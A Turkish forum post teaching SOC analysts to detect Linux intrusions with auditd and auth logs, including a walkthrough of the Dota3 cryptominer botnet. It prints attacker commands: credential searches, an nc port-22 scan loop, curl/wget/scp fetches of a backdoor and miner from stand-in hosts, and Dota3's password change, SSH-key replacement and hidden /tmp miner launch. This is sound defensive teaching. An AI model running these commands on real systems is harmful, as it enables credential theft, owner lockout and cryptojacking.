Hoşgeldin Misafir

#STHM-Linux Tehdit Algılama 2

CW-ommah

17 Ocak 2022
904 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde ise Log’larda keşif (Discovery) komutlarını nasıl tespit edeceğinizi.Linux sunucuları tehdit eden yaygın saldırı türlerini. Saldırganların kurban sistemlere nasıl zararlı yazılım yükleyip yüklemediğini anlayacağız.

Keşif (Discovery)
Bir anda kendinizi bir Linux sisteminde bulduğunuzu ve gördüğünüz tek şeyin bir komut satırı arayüzü olduğunu hayal edin. İlk sorunuz muhtemelen nerede olduğunuz ve buraya nasıl geldiğiniz olurdu, değil mi? İlginç bir şekilde, Linux sistemlerine yönelik ihlallerin çoğu saldırganlar için tam olarak bu şekilde başlar. Bunun nedeni, botnet’lerin genellikle İlk Erişim (Initial Access) aşamasını otomatikleştirmesi ve saldırganların yalnızca bir giriş noktası hazır olduğunda devreye girmesidir.

1778402211762.png

İlk Adımlar
Tehdit aktörlerinin Linux sistemlerinde çalıştırdığı ilk keşif (Discovery) komutları, hangi giriş noktasını kullandıklarından veya hangi hedefi takip ettiklerinden bağımsız olarak genellikle aynıdır. Keşif aşamasının atlandığı tek durum, saldırganların hedeflerini zaten biliyor olması ya da kurbanın kim olduğuna bakmaksızın sadece bir kripto madencisi (cryptominer) yükleyip sistemden çıkmak istemeleridir. Şimdi bazı temel keşif örneklerine bakalım:

Keşif AmacıTipik Komutlar
İşletim Sistemi ve Dosya Sistemi Keşfipwd, ls /, env, uname -a, lsb_release -a, hostname
Kullanıcı ve Grup Keşfiid, whoami, w, last, cat /etc/sudoers, cat /etc/passwd
Süreç ve Ağ Keşfips aux, top, ip a, ip r, arp -a, ss -tnlp, netstat -tnlp
Bulut veya Sandbox Keşfisystemd-detect-virt, lsmod, uptime, pgrep ""
Gördüğünüz gibi, saldırganlar sizin de kullanacağınız aynı komutlara güvenir. iyi ile kötüyü nasıl ayırt edeceğinizi öğreneceksiniz, ancak özellikle dikkat etmeniz gereken bir komut var: whoami. Meşru uygulamalar bu komuta nadiren ihtiyaç duyarken, saldırganlar bir servisi ihlal ettikten sonra neredeyse her zaman ilk olarak bunu çalıştırır. Hatta SOC ekibiniz, herhangi bir whoami çalıştırılması için bir tespit kuralı oluşturmayı bile düşünebilir — büyük olasılıkla saldırganları bu şekilde yakalayabilirsiniz.

Keşif Sürecinin Tespiti
Özel Amaçlı Keşif (Specialized Discovery)
İlk keşif aşamasından sonra, tehdit aktörleri hedeflerine ulaşmak için daha odaklı komutlar da kullanabilir. Veri hırsızları (data stealer), toplamak için parolaları ve gizli bilgileri arar; kripto para madencileri (cryptominer), madenciliği optimize etmek için CPU ve GPU bilgilerini sorgular; botnet betikleri ise yeni kurbanlar bulmak amacıyla ağı tarar. Bazı zararlı yazılımlar bu üç amacı bir arada da kullanabilir. Örneğin:

Saldırı HedefleriTipik Komutlar
Kimlik bilgilerini ve diğer hassas verileri bulmak ve çalmakhistory | grep pass, find / -name .env, find /home -name id_rsa
Sistemin kripto madenciliği için ne kadar uygun olduğunu belirlemekcat /proc/cpuinfo, lscpu | grep Model, free -m, top, htop
Gelecekteki diğer kurbanlar için iç ağı taramakping , for ip in 192.168.1.{1..254}; do nc -w 1 $ip 22 done

Keşfi (Discovery) Tespit Etme
Keşif (Discovery) komutlarını tespit etmek, auditd veya diğer çalışma zamanı izleme araçlarıyla oldukça kolaydır. Öncelikle, bu makalede gösterilenler gibi doğru komutları kaydedecek şekilde auditd’yi yapılandırın. Ardından, bir SIEM ya da ausearch kullanarak keşif faaliyetlerini araştırın. Ancak asıl zorluk, bu komutların bir saldırgandan mı, meşru bir servisten mi yoksa bir sistem yöneticisinden mi geldiğine karar vermektir.
1778402479435.png
Keşif (Discovery) komutlarının bağlamını anlamak oldukça önemlidir. Örneğin, bir web sunucusunun aniden whoami komutunu çalıştırması ya da bir IT çalışanının find ve grep ile gizli bilgileri aramaya başlaması şüpheli bir durumdur. Öte yandan, bir ağ izleme aracının yerel ağı düzenli olarak ping ile kontrol etmesi genellikle beklenen bir davranıştır. Bu bağlamı, örneğin bir süreç ağacı (process tree) oluşturarak elde edebilirsiniz:
Kod:
ubuntu@CW-ommah:~$ ausearch -i -x whoami # whoami gibi bir Discovery komutunu arayın
type=PROCTITLE msg=audit(08/25/25 16:28:18.107:985) : proctitle=whoami
type=SYSCALL msg=audit(08/25/25 16:28:18.107:985) : arch=x86_64 syscall=execve success=yes exit=0 items=2 ppid=3898 pid=3907 auid=ubuntu uid=ubuntu exe=/usr/bin/whoami

Kod:
ubuntu@CW-ommah:~$ ausearch -i --pid 3898 # Ana sürecini belirleyin: bir lp.sh komut dosyası
type=PROCTITLE msg=audit(08/25/25 16:28:11.727:982) : proctitle=/usr/bin/bash /tmp/lp.sh
type=SYSCALL msg=audit(08/25/25 16:28:11.727:982) : arch=x86_64 syscall=execve success=yes exit=0 items=2 ppid=3840 pid=3898 auid=ubuntu uid=ubuntu exe=/usr/bin/bash

Kod:
ubuntu@CW-ommah:~$ ausearch -i --ppid 3898 # lp.sh tarafından oluşturulan diğer işlemleri arayın
[Five more commands like "find /home -name *secret*" confirming the script is malicious ]

Saldırganların Motivasyonu
Hack and Forget (Sız ve Unut) Saldırıları
Keşif (Discovery) aşamasından sonra, tehdit aktörleri genellikle özel amaçlı zararlı yazılımlar yükleyerek veya belirli bir saldırı türüne özgü eylemler gerçekleştirerek motivasyonlarını ortaya koyar. Teknik incelemeye geçmeden önce, saldırganların Linux sistemlerine sızdıklarında sahip oldukları yaygın hedefleri ele alalım. Bu hedefler gayriresmî olarak iki kategoriye ayrılabilir: “Hack and Forget” (Sız ve Unut) ve hedef odaklı saldırılar. Bu başlıkta, “Hack and Forget” türüne odaklanacağız.

1778402648999.png
“Hack and Forget” (Sız ve Unut) Saldırıları
Bu saldırılar büyük ölçekte gerçekleştirilir ve hızlı kazanç elde etmeye odaklanır. Örneğin, bir tehdit grubu internette sürekli olarak “tryguessme” parolasıyla açıkta bırakılmış SSH servislerini tarayabilir ve her ay birkaç kurban elde edebilir. Ardından, hızlı bir keşif sürecinden sonra saldırı genellikle aşağıdaki üç senaryodan birine (veya aynı anda birkaçına) dönüşür:

  • Kripto madenci (Cryptominer) yükleme: Kurbanın CPU/GPU gücünü kullanarak kripto para madenciliği yapıp para kazanmak
  • Botnete dahil etme: Kurbanı bir botnete (örneğin Mirai ekleyerek DDoS gibi görevler için kullanmak
  • Proxy olarak kullanma: Kurbanı phishing (oltalama) göndermek, zararlı yazılım barındırmak veya saldırganın trafiğini yönlendirmek için kullanmak
Giriş Aracı Transferi (Ingress Tool Transfer)
Peki, tehdit aktörleri saldırıya nasıl devam eder ve kripto madencisi gibi zararlı yazılımları Linux kurban sistemine nasıl indirir? MITRE terminolojisinde buna Ingress Tool Transfer (Giriş Aracı Transferi) denir. Bunu gerçekleştirmenin birçok yolu vardır, ancak çoğu durumda önceden sistemde bulunan şu üç komuttan birini kullanırlar:

Bağlantılar geçersizdir tıklamayınız.

KomutKullanım Örneği
Wget: Web sitesinden dosya indirmewget https://github.com/xmrig/[...]/xmrig-x64.tar.gz -O /tmp/miner.tar.gz
Curl: Web sayfasına istek göndermecurl --output /var/www/html/backdoor.php "https://pastebin.thm/yTg0Ah6a"
SSH: SCP veya SFTP ile dosya transferi SCP or SFTPscp kali@c2server:/home/kali/cve-2021-4034.sh /tmp/cve-2021-4034.sh
Diğer süreç oluşturma olaylarında olduğu gibi, yukarıdaki komutlar auditd ile loglanabilir ve bazen Bash geçmişinde de görünebilir. Ancak süreç loglarının işe yaramadığı bir durum vardır. Eğer kurban SSH üzerinden erişilebiliyorsa, saldırgan kendi sisteminden scp veya sftp çalıştırabilir. Bu durumda, kurban sistemin auditd loglarında bu komutu görmezsiniz, ancak yeni bir SSH oturumu açıldığını görürsünüz! Aynı durum FTP veya SMB gibi diğer dosya transfer servisleri için de geçerlidir. Şimdi bir örnek görelim:

Kod:
attacker@CW-ommah:~$ scp ./malware.sh ubuntu@thm-vm:/tmp
[OK] Connecting to thm-vm machine via SSH...
[OK] Logged in on thm-vm via SSH as "ubuntu"
[OK] File transferred from attack-vm to thm-vm
[OK] Job is done, logging out from thm-vm
# Bir kurbanı tespit etmek için /var/log/auth.log dosyasında SSH oturum açma kayıtlarını kontrol edin

Kod:
ubuntu@thm-vm:~$ scp attacker@attack-vm:./malware.sh /tmp
[OK] Connecting to attack-vm machine via SSH...
[OK] Logged in on attack-vm via SSH as "attacker"
[OK] File transferred from attack-vm to thm-vm
[OK] Job is done, logging out from attack-vm
# Bir kurbanı tespit etmek için Auditd günlüklerinde “scp” komutunu arayın

Ek Tespit Yöntemleri
Bu makalede, çoğunlukla kötü amaçlı komutları tespit etmek için auditd süreç oluşturma olaylarına ve şüpheli SSH girişlerini tespit etmek için kimlik doğrulama loglarına güvendiniz. Bunların ikisi de en yaygın saldırıları ortaya çıkarmak için oldukça iyi kaynaklardır. Ancak Ingress Tool Transfer (Giriş Aracı Transferi) için SOC ekibiniz şu kaynaklara da dayanabilir:

Ağ Trafiği

  • Daha önce siber saldırılarda görülmüş bir IP’den yapılan indirme (Virustotal örneği (Virustotal example)
  • qfpkvwgq.ths gibi şüpheli veya bilinen kötü amaçlı bir domainden yapılan indirme
  • GitHub gibi saldırı araçlarının barındırıldığı bilinen genel servislerden yapılan indirme
Dosya Olayları
  • /tmp veya /var/tmp gibi geçici klasörlerde yeni oluşturulmuş bir dosya
  • exploit, shell.php veya kF1pBsY5 gibi isimlere sahip yeni oluşturulmuş bir dosya
Antivirüs Uyarıları
  • Yeni bir zararlı dosya veya süreç üzerinde tetiklenen EDR veya antivirüs uyarısı

Dota3: ilk Hareketler
Dota 3 Zararlı Yazılım Analizi
Makalelerimizde öğrendiğiniz tekniklerin gerçek dünyada nasıl göründüğünü inceleyeceksiniz. Referans olarak, CounterCraft ve SANS raporlarını temel alarak Dota3 adlı, basit ama dünya genelinde birçok sistemi enfekte etmiş (ve etmeye devam eden!) bilinen bir zararlı yazılımı takip edeceğiz. Şimdi enfeksiyonun nasıl başladığına bakalım!

İlk Erişim (Initial Access)

  • 94 ülkede 2000’den fazla farklı IP’den oluşan botnet, açık SSH servislerine sahip sistemleri tarar
  • Botnet, özellikle root kullanıcısını hedef alarak kaba kuvvet (brute-force) saldırısı yapar ve en yaygın 1000 zayıf parolayı dener
  • Parola tahmin edilirse, botnet içindeki bir sunucu SSH üzerinden kurbana erişir ve saldırıya devam eder
Keşif (Discovery)
Daha sonra, SSH oturumu içerisinden saldırgan, hızlı bir şekilde birden fazla komut çalıştırarak keşif sürecini otomatikleştirir. Aşağıdaki ilk üç satıra bakarak bile bunun bir kripto madenci (cryptominer) enfeksiyonu olduğunu çıkarabilirsiniz; çünkü diğer zararlı yazılımların kurbanın CPU ve RAM bilgilerini bilmeye ihtiyaç duyması oldukça düşük bir ihtimaldir.

Kod:
# CPU ve RAM bilgilerini kontrol eder
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
lscpu | grep Model
# Belirsiz amaç
ls -lh $(which ls)
# Genel Keşif
crontab -l
w
uname -m

Kalıcılık (Persistence)
Bu makalemizde Kalıcılık (Persistence) konusunu ele almamış olsak da, sonraki adımlar oldukça basit bir şekilde anlaşılabilir: ilk komut, ihlal edilmiş “ubuntu” kullanıcısının şifresini daha karmaşık bir şifreyle değiştirir (böylece rakip botnet’lerin kurbanı yeniden ele geçirmesini engellemek için!). Ardından gelen komutlar ise tüm SSH anahtarlarını kötü amaçlı anahtar ile değiştirir (bu da sistem sahibinin sunucuya erişimini engellemek içindir). Tüm bunlar, ihtiyaç duyulduğunda kurbana güvenilir erişim sağlamak amacıyla yapılır.
Kod:
`echo -e "ubuntu123\nN2a96PU0mBfS\nN2a96PU0mBfS"|passwd|bash` >> up.txt
cd ~
rm -rf .ssh
mkdir .ssh
# Bu saldırıya özgü “mdrfckr” yorumuna dikkat edin
echo "ssh-rsa [ssh-key] mdrfckr" >> .ssh/authorized_keys
chmod -R go= ~/.ssh

Saldırıyı Tespit Etme
Şu ana kadar karmaşık bir şey yok gibi görünüyor. Yine de Dota3 hâlâ aktif çünkü birçok sistem yöneticisi zayıf SSH parolaları kullanıyor. Gerçek bir SIEM içeren SOC ortamında muhtemelen birden fazla uyarı alırsınız: bilinen kötü amaçlı bir IP’den SSH girişi, keşif (Discovery) komutlarında ani bir artış ve “mdrfckr” saldırı dizisiyle eşleşen bir kayıt. Ayrıca aşağıdaki iki yöntemle saldırıyı manuel olarak da tespit edebilirsiniz:

Log KaynağıAçıklama
Kimlik Doğrulama Logları: cat /var/log/auth.log | grep "Accepted"Güvenilmeyen, harici IP adreslerinden parola ile yapılan başarılı SSH girişlerini arayın
Auditd Süreç Logları: ausearch -i -x [komut]Keşif (Discovery) komutlarının (örn. uname, lscpu) çalıştırılmasını arayın ve kaynağını takip edin

Dota 3: Madenci Yapılandırması
Kripto Madenci Kurulumu
Dota3 enfeksiyon zincirine devam ederek, tehdit aktörleri kurban sistem üzerindeki varlıklarını sürdürür ve artık bir kripto madenci (cryptominer) ile ek zararlı yazılımlar yükleyip yüklemeyeceklerine karar verirler. Zaten SSH erişimine sahip oldukları için, daha önce değiştirilmiş parola ile SCP kullanarak araçları basitçe sisteme yüklerler. Bunun nasıl çalıştığına dair bir örnek aşağıdadır:
Kod:
user@bot-1672$ scp dota3.tar.gz ubuntu@victim:/tmp
[OK] Transfered dota3.tar.gz file to the victim
Araçlar (dota3.tar.gz) aktarıldıktan sonra saldırganlar bunları /tmp altında gizli bir klasöre açarlar. /tmp dizini, geçici zararlı yazılımların hazırlanması için sıkça kullanılan yaygın bir konumdur. Aşağıdaki komutlara dikkat edin ve oluşturulan dizinlerin isimlerinin ne kadar tuhaf göründüğünü fark edin. Bu isimlendirme, meşru yazılımları taklit etmek ve tespit edilse bile BT ekibinin daha fazla inceleme yapmasını engellemek amacıyla yapılır.

Kod:
# Kötü amaçlı yazılımlar için gizli bir /tmp/.X26-unix klasörü hazırlayın
cd /tmp
rm -rf .X2*
mkdir .X26-unix
cd .X26-unix
# Kötü amaçlı yazılımı /tmp/.X26-unix/.rsync/c klasörüne açın
tar xf dota3.tar.gz
sleep 3s
cd /tmp/.X26-unix/.rsync/c

Son olarak, tehdit aktörleri arşivden iki ikili dosya (binary) çalıştırır. İlki olan tsm, dahili ağı tarayarak SSH servisi açık olan diğer sistemleri tespit eden özelleştirilmiş bir ağ tarayıcısıdır. İkincisi olan initall ise saldırganlar için gelir üretmek amacıyla kurbanın CPU’sunu yoğun şekilde kullanan bir XMRig kripto madencisidir. Her iki ikili dosyanın da nohup komutuyla başlatıldığına dikkat edin; bu komut, SSH oturumu kapatılsa bile süreçlerin arka planda çalışmaya devam etmesini sağlar.
Kod:
# “tsm” adlı kötü amaçlı yazılımla iç ağı tarayın
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m
# “initall” adlı kripto madenci programını çalıştırın
cd ..; nohup /tmp/.X26-unix/.rsync/initall 2>1&
# That's it, Dota3 attack is now completed!
exit 0

Saldırıyı Tespit Etme
Bu makale boyunca, log’ları kullanarak farklı kötü amaçlı süreçleri nasıl tespit edeceğinizi öğrendiniz ve Dota3 enfeksiyonunun tespiti de farklı değildir. Burada, SOC kurallarınızın veya EDR uyarılarınızın tepki verebileceği yaygın göstergeler şunlardır:

  • Auditd logları: /tmp dizininde güvenilmeyen, gizli dosya ve klasörlerin oluşturulması
  • Auditd logları: dota3.tar.gz gibi bilinen zararlı yazılım isimlerine benzer dosyaların oluşturulması
  • Auditd logları: nohup gibi saldırılarda sıkça görülen komutların kullanılması
  • Ağ trafiği: 192.168.* ve 172.16.* ağlarının tamamına SSH port taraması yapılması
  • EDR çözümü: XMrig kripto madenci binary dosyasının çoğu EDR tarafından engellenmesi (VirusTotal örneği)
1778403707639.pngOkuduğunuz için teşekkür ederim


CW-Ommah
Bug Researchers Tim Sundu...

1778403771598.png